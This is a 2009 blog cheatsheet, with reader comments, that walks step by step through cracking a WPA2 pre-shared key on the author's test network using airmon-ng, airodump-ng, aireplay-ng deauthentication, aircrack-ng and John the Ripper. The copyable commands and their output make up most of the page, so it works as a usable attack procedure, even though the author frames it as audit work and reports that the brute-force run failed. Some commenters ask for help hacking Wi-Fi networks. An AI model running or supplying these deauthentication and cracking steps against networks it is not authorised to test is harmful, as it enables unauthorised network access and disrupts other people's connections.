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Cheatsheet : Cracking WPA2 PSK with Backtrack 4, aircrack-ng and John The Ripper

Cheatsheet : Cracking WPA2 PSK with Backtrack 4, aircrack-ng and John The Ripper

February 24th, 2009 |Author: Peter Van Eeckhoutte

Basic steps :

* Put interface in monitor mode
* Find wireless network (protected with WPA2 and a Pre Shared Key)
* Capture all packets
* Wait until you see a client and deauthenticate the client, so the handshake can be captured
* Crack the key using a dictionary file (or via John The Ripper)

I’ll use a Dlink DWL-G122 (USB) wireless network interface for this procedure. In backtrack4, this device is recognized as wlan0.

First, put the card in monitor mode :

root@bt:~# airmon-ng

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
ath1 Atheros madwifi-ng VAP (parent: wifi0)
wlan0 Ralink 2573 USB rt73usb - [phy0]

root@bt:~# airmon-ng start wlan0

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
ath1 Atheros madwifi-ng VAP (parent: wifi0)
wlan0 Ralink 2573 USB rt73usb - [phy0]
(monitor mode enabled on mon0)

Ok, we can now use interface mon0

Let’s find a wireless network that uses WPA2 / PSK :

root@bt:~# airodump-ng mon0

CH 6 ][ Elapsed: 4 s ][ 2009-02-21 12:57

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:19:5B:52:AD:F7 -33 5 0 0 10 54 WPA2 CCMP PSK TestNet

BSSID STATION PWR Rate Lost Packets Probe

00:19:5B:52:AD:F7 00:1C:BF:90:5B:A3 -29 0- 1 12 4 TestNet

Stop airodump-ng and run it again, writing all packets to disk :

airodump-ng mon0 --channel 10 --bssid 00:19:5B:52:AD:F7 -w /tmp/wpa2

At this point, you have 2 options : either wait until a client connects and the 4-way handshake is complete, or deauthenticate an existing client and thus force it to reassociate. Time is money, so let’s force the deauthenticate. We need the bssid of the AP (-a) and the mac of a connected client (-c)

root@bt:~# aireplay-ng -0 1 -a 00:19:5B:52:AD:F7 -c 00:1C:BF:90:5B:A3 mon0
13:04:19 Waiting for beacon frame (BSSID: 00:19:5B:52:AD:F7) on channel 10
13:04:20 Sending 64 directed DeAuth. STMAC: [00:1C:BF:90:5B:A3] [67|66 ACKs]

As a result, airodump-ng should indicate “WPA Handshake:” in the upper right corner

CH 10 ][ Elapsed: 2 mins ][ 2009-02-21 13:04 ][ WPA handshake: 00:19:5B:52:AD:F7

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:19:5B:52:AD:F7 -33 100 1338 99 0 10 54 WPA2 CCMP PSK TestNet

BSSID STATION PWR Rate Lost Packets Probe

00:19:5B:52:AD:F7 00:1C:BF:90:5B:A3 -27 54-54 0 230

Stop airodump-ng and make sure the files were created properly

root@bt:/# ls /tmp/wpa2* -al
-rw-r--r-- 1 root root 35189 2009-02-21 13:04 /tmp/wpa2-01.cap
-rw-r--r-- 1 root root 476 2009-02-21 13:04 /tmp/wpa2-01.csv
-rw-r--r-- 1 root root 590 2009-02-21 13:04 /tmp/wpa2-01.kismet.csv

Form this point forward, you do not need to be anywhere near the wireless network. All cracking will happen offline, so you can stop airodump and other processes and even walk away from the AP. In fact, I would suggest to walk away and find yourself a cosy place where you can live, eat, sleep, etc…. Cracking a WPA2 PSK key is based on bruteforcing, and it can take a very very long time. There are 2 ways of bruteforcing : one that is relatively fast but does not guarantee success and one that is very slow, but guarantees that you will find the key at some point in time

The first option is by using a worklist/drstionary file. A lot of these files can be found on the internet (e.g. www.theargon.com or on packetstorm (see the archives)), or can be generated with tools such as John The Ripper. Once the wordlist is created, all you need to do is run aircrack-ng with the worklist and feed it the .cap fie that contains the WPA2 Handshake.

So if your wordlist is called word.lst (under /tmp/wordlists), you can run

aircrack-ng –w /tmp/wordlists/word.lst -b 00:19:5B:52:AD:F7 /tmp/wpa2*.cap

The success of cracking the WPA2 PSK key is directly linked to the strength of your password file. In other words, you may get lucky and get the key very fast, or you may not get the key at all.
The second method (bruteforcing) will be successfull for sure, but it may take ages to complete. Keep in mind, a WPA2 key can be up to 64 characters, so in theory you would to build every password combination with all possible character sets and feed them into aircrack. If you want to use John The Ripper to create all possible password combinations and feed them into aircrack-ng, this is the command to use :

root@bt:~# /pentest/password/jtr/john --stdout --incremental:all | aircrack-ng -b 00:19:5B:52:AD:F7 -w - /tmp/wpa2*.cap

(Note : the PSK in my testlab is only 8 characters, contains one uppercase character and 4 numbers). I will post the output when the key was cracked, including the time it required to crack the key.

That’s it

Update :after 20 hours of cracking, the key still has not been found. The system I’m using to crack the keys is not very fast, but let’s look at some facts :

8 characters, plain characters (lowercase and uppercase) or digits = each character in the key could has 26+26+10 (62) possible combinations. So the maximum number of combinations that need to be checked in the bruteforce process is 62 * 62 * 62 * 62 * 62 * 62 * 62 * 62 = 218 340 105 584 896 At about 600 keys per second on my “slow” system, it could take more than 101083382 hours to find the key (11539 year). I have stopped the cracking process as my machine is way too slow to crack the key while I’m still alive… So think about this when doing a WPA2 PSK Audit.

Comments

  1. Hey this is sanchit and i want to config my atheros wifi on backtrack 4 cos i m not getting result while typing
    root@bt:~# airmon-ng
    wifi0 Atheros madwifi-ng
    ath0 Atheros madwifi-ng VAP (parent: wifi0)
    ath1 Atheros madwifi-ng VAP (parent: wifi0)
    wlan0 Ralink 2573 USB rt73usb – [phy0]

    these are not shown in my cell
    if anyone help me then plz contact me on my gmail i.e. GOLUSANCH@gmail.com

  2. I think something worth mentioning about using JtR’s incremental mode is that, unless changed in params.h before compiling, the output will only be 8 characters or less (Minimum passphrase length for WPA is 8), then john.conf has to be edited to change the max length of the output.

  3. Need Help!!!
    i’ve been using using backtrack 5
    i trying to learn how my neighbors keep getting my wifi passkey
    so i’ve downloaded backtrack 5
    i’ve been following all th commands
    root@bt:~#airmon-ng
    root@bt:~# airmon-ng start wlan0
    root@bt:~# airodump-ng mon0
    airodump-ng mon0 –channel 11 –bssid xx:xx:xx:xx:xx:xx -w /tmp/wpa2

    after this i can’t get the station mac
    help plz

  4. I am using a realtek RTL8188 CE802.11 b/g/n wifi adapter which seems to incompatible with the commview for wi-fi application, so how will I be able to get around the WEP/WPA- psk hacking with this card?

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